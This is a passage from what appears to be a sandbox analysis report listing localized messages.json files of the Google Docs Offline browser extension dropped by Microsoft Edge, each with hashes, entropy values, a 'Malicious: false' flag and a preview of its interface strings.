SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5676_175156040\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 